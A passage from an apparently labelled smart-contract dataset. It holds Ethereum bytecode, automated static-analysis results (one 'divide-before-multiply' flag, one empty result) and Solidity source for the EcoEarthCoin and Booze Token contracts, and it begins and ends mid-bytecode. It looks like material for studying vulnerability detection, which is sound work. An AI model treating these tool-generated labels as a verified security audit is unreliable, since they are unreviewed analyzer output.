f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061295d6020836122aa565b915061296882612927565b602082019050919050565b6000602082019050818103600083015261298c81612950565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006129cd8261223c565b91506129d88361223c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0d57612a0c612993565b5b828201905092915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000612a4e601b836122aa565b9150612a5982612a18565b602082019050919050565b60006020820190508181036000830152612a7d81612a41565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000612ae06024836122aa565b9150612aeb82612a84565b604082019050919050565b60006020820190508181036000830152612b0f81612ad3565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000612b726022836122aa565b9150612b7d82612b16565b604082019050919050565b60006020820190508181036000830152612ba181612b65565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000612c046025836122aa565b9150612c0f82612ba8565b604082019050919050565b60006020820190508181036000830152612c3381612bf7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000612c966023836122aa565b9150612ca182612c3a565b604082019050919050565b60006020820190508181036000830152612cc581612c89565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b6000612d286029836122aa565b9150612d3382612ccc565b604082019050919050565b60006020820190508181036000830152612d5781612d1b565b9050919050565b50565b6000612d6e6000836122aa565b9150612d7982612d5e565b600082019050919050565b60006020820190508181036000830152612d9d81612d61565b9050919050565b6000612daf8261223c565b9150612dba8361223c565b925082821015612dcd57612dcc612993565b5b828203905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612e128261223c565b9150612e1d8361223c565b925082612e2d57612e2c612dd8565b5b828204905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e728261223c565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415612ea557612ea4612993565b5b600182019050919050565b6000612ebb8261223c565b9150612ec68361223c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612eff57612efe612993565b5b828202905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000612f666021836122aa565b9150612f7182612f0a565b604082019050919050565b60006020820190508181036000830152612f9581612f59565b905091905056fe45524332303a206275726e20616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201baadc96e61617ef5cfa782c7454e328b80bd679edecaad613c85278bc0f139464736f6c63430008080033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
7,400
0xe1d4d57b24dbfc5dd814f852749c34d37f5b898d
pragma solidity 0.4.25; /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/issues/20 * Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20 { using SafeMath for uint256; mapping (address => mapping (address => uint256)) internal allowed; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev Transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint256 _addedValue) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint256 _subtractedValue) public returns (bool) { uint256 oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract EcoEarthCoin is StandardToken { string public constant name = "EcoEarthCoin"; // solium-disable-line uppercase string public constant symbol = "ECOEC"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = 50000000 * (10 ** uint256(decimals)); constructor() public { totalSupply_ = INITIAL_SUPPLY; balances[0x7A30d16B3088b9B3c7cab22ca25860eb22d0e4f1] = INITIAL_SUPPLY; emit Transfer(address(0), 0x7A30d16B3088b9B3c7cab22ca25860eb22d0e4f1, INITIAL_SUPPLY); } }
0x6080604052600436106100c45763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100c9578063095ea7b31461015357806318160ddd1461018b57806323b872dd146101b25780632ff2e9dc146101dc578063313ce567146101f1578063661884631461021c57806370a082311461024057806395d89b4114610261578063a9059cbb14610276578063cae9ca511461029a578063d73dd62314610303578063dd62ed3e14610327575b600080fd5b3480156100d557600080fd5b506100de61034e565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610118578181015183820152602001610100565b50505050905090810190601f1680156101455780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561015f57600080fd5b50610177600160a060020a0360043516602435610385565b604080519115158252519081900360200190f35b34801561019757600080fd5b506101a0610423565b60408051918252519081900360200190f35b3480156101be57600080fd5b50610177600160a060020a0360043581169060243516604435610429565b3480156101e857600080fd5b506101a061059d565b3480156101fd57600080fd5b506102066105ac565b6040805160ff9092168252519081900360200190f35b34801561022857600080fd5b50610177600160a060020a03600435166024356105b1565b34801561024c57600080fd5b506101a0600160a060020a0360043516610699565b34801561026d57600080fd5b506100de6106b4565b34801561028257600080fd5b50610177600160a060020a03600435166024356106eb565b3480156102a657600080fd5b50604080516020600460443581810135601f8101849004840285018401909552848452610177948235600160a060020a03169460248035953695946064949201919081908401838280828437509497506107ce9650505050505050565b34801561030f57600080fd5b50610177600160a060020a03600435166024356108e7565b34801561033357600080fd5b506101a0600160a060020a036004358116906024351661097c565b60408051808201909152600c81527f45636f4561727468436f696e0000000000000000000000000000000000000000602082015281565b60008115806103b3575033600090815260208181526040808320600160a060020a0387168452909152902054155b15156103be57600080fd5b33600081815260208181526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600192915050565b60025490565b6000600160a060020a038316151561044057600080fd5b600160a060020a03841660009081526001602052604090205482111561046557600080fd5b600160a060020a03841660009081526020818152604080832033845290915290205482111561049357600080fd5b600160a060020a0384166000908152600160205260409020546104bc908363ffffffff6109a516565b600160a060020a0380861660009081526001602052604080822093909355908516815220546104f1908363ffffffff6109b716565b600160a060020a0380851660009081526001602090815260408083209490945591871681528082528281203382529091522054610534908363ffffffff6109a516565b600160a060020a0380861660008181526020818152604080832033845282529182902094909455805186815290519287169391927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef929181900390910190a35060019392505050565b6a295be96e6406697200000081565b601281565b33600090815260208181526040808320600160a060020a0386168452909152812054808311156106025733600090815260208181526040808320600160a060020a0388168452909152812055610635565b610612818463ffffffff6109a516565b33600090815260208181526040808320600160a060020a03891684529091529020555b33600081815260208181526040808320600160a060020a0389168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600160a060020a031660009081526001602052604090205490565b60408051808201909152600581527f45434f4543000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561070257600080fd5b3360009081526001602052604090205482111561071e57600080fd5b3360009081526001602052604090205461073e908363ffffffff6109a516565b3360009081526001602052604080822092909255600160a060020a03851681522054610770908363ffffffff6109b716565b600160a060020a0384166000818152600160209081526040918290209390935580518581529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a350600192915050565b6000836107db8185610385565b156108df576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018790523060448401819052608060648501908152875160848601528751600160a060020a03871695638f4ffcb195948b94938b939192909160a490910190602085019080838360005b8381101561087357818101518382015260200161085b565b50505050905090810190601f1680156108a05780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156108c257600080fd5b505af11580156108d6573d6000803e3d6000fd5b50505050600191505b509392505050565b33600090815260208181526040808320600160a060020a0386168452909152812054610919908363ffffffff6109b716565b33600081815260208181526040808320600160a060020a0389168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a350600192915050565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b6000828211156109b157fe5b50900390565b818101828110156109c457fe5b929150505600a165627a7a72305820a7c8510cee8e43bbadbe70f8e4f14ad1805168cdb56d202ab567850cf34189a00029
{"success": true, "error": null, "results": {}}
7,401
0xdea7fc4fe820dc479322a22cee33ed0eadd308e3
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address _owner) public constant returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value) public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract ERC223Basic { uint256 public totalSupply; bool public transfersEnabled; function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); function transfer(address to, uint256 value, bytes data) public; event Transfer(address indexed from, address indexed to, uint256 value, bytes data); } contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data) public; } contract ERC223Token is ERC223Basic { using SafeMath for uint256; mapping(address => uint256) balances; // List of user balances. /** * @dev protection against short address attack */ modifier onlyPayloadSize(uint numwords) { assert(msg.data.length == numwords * 32 + 4); _; } /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) public onlyPayloadSize(3) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } emit Transfer(msg.sender, _to, _value, _data); } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn't contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) public onlyPayloadSize(2) returns(bool) { uint codeLength; bytes memory empty; require(_to != address(0)); require(_value <= balances[msg.sender]); require(transfersEnabled); assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } emit Transfer(msg.sender, _to, _value, empty); return true; } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, ERC223Token { mapping(address => mapping(address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public onlyPayloadSize(3) returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); require(transfersEnabled); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public onlyPayloadSize(2) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } /** * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol */ function increaseApproval(address _spender, uint _addedValue) public returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BoozeToken is StandardToken { string public constant name = "Booze Token"; string public constant symbol = "BOOZE"; uint8 public constant decimals = 18; uint256 public constant INITIAL_SUPPLY = 10**9 * (10**uint256(decimals)); address public owner; event OwnerChanged(address indexed previousOwner, address indexed newOwner); constructor(address _owner) public { totalSupply = INITIAL_SUPPLY; owner = _owner; //owner = msg.sender; // for testing balances[owner] = INITIAL_SUPPLY; transfersEnabled = true; } // fallback function can be used to buy tokens function() payable public { revert(); } modifier onlyOwner() { require(msg.sender == owner); _; } function changeOwner(address _newOwner) onlyOwner public returns (bool){ require(_newOwner != address(0)); emit OwnerChanged(owner, _newOwner); owner = _newOwner; return true; } function enableTransfers(bool _transfersEnabled) onlyOwner public { transfersEnabled = _transfersEnabled; } }
0x6080604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100f6578063095ea7b31461018657806318160ddd146101eb57806323b872dd146102165780632ff2e9dc1461029b578063313ce567146102c657806366188463146102f757806370a082311461035c5780638da5cb5b146103b357806395d89b411461040a578063a6f9dae11461049a578063a9059cbb146104f5578063be45fd621461055a578063bef97c87146105ed578063d73dd6231461061c578063dd62ed3e14610681578063f41e60c5146106f8575b600080fd5b34801561010257600080fd5b5061010b610727565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561014b578082015181840152602081019050610130565b50505050905090810190601f1680156101785780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019257600080fd5b506101d1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610760565b604051808215151515815260200191505060405180910390f35b3480156101f757600080fd5b50610200610852565b6040518082815260200191505060405180910390f35b34801561022257600080fd5b50610281600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610858565b604051808215151515815260200191505060405180910390f35b3480156102a757600080fd5b506102b0610c4b565b6040518082815260200191505060405180910390f35b3480156102d257600080fd5b506102db610c5c565b604051808260ff1660ff16815260200191505060405180910390f35b34801561030357600080fd5b50610342600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c61565b604051808215151515815260200191505060405180910390f35b34801561036857600080fd5b5061039d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ef2565b6040518082815260200191505060405180910390f35b3480156103bf57600080fd5b506103c8610f3b565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561041657600080fd5b5061041f610f61565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045f578082015181840152602081019050610444565b50505050905090810190601f16801561048c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156104a657600080fd5b506104db600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f9a565b604051808215151515815260200191505060405180910390f35b34801561050157600080fd5b50610540600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110fa565b604051808215151515815260200191505060405180910390f35b34801561056657600080fd5b506105eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611500565b005b3480156105f957600080fd5b506106026118fc565b604051808215151515815260200191505060405180910390f35b34801561062857600080fd5b50610667600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061190f565b604051808215151515815260200191505060405180910390f35b34801561068d57600080fd5b506106e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b0b565b6040518082815260200191505060405180910390f35b34801561070457600080fd5b50610725600480360381019080803515159060200190929190505050611baa565b005b6040805190810160405280600b81526020017f426f6f7a6520546f6b656e00000000000000000000000000000000000000000081525081565b600081600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60025481565b6000600360046020820201600036905014151561087157fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141515156108ad57600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483111515156108fb57600080fd5b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054831115151561098657600080fd5b600360009054906101000a900460ff1615156109a157600080fd5b6109f383600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a8883600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b5a83600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a360019150509392505050565b601260ff16600a0a633b9aca000281565b601281565b600080600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610d72576000600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e06565b610d858382611c2390919063ffffffff16565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6040805190810160405280600581526020017f424f4f5a4500000000000000000000000000000000000000000000000000000081525081565b6000600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610ff857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415151561103457600080fd5b8173ffffffffffffffffffffffffffffffffffffffff16600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fb532073b38c83145e3e5135377a08bf9aab55bc0fd7c1179cd4fb995d2a5159c60405160405180910390a381600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060019050919050565b60008060606000600260046020820201600036905014151561111857fe5b600073ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff161415151561115457600080fd5b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205486111515156111a257600080fd5b600360009054906101000a900460ff1615156111bd57600080fd5b863b935061121386600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c2390919063ffffffff16565b600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506112a886600460008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c3c90919063ffffffff16565b600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000841115611420578691508173ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3388866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156113b957808201518184015260208101905061139e565b50505050905090810190601f1680156113e65780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15801561140757600080fd5b505af115801561141b573d6000803e3d6000fd5b505050505b8673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1688866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156114b757808201518184015260208101905061149c565b50505050905090810190601f1680156114e45780820380516001836020036101000a031916815260200191505b50935050505060405180910390a3600194505050505092915050565b600080600360046020820201600036905014151561151a57fe5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415151561155657600080fd5b600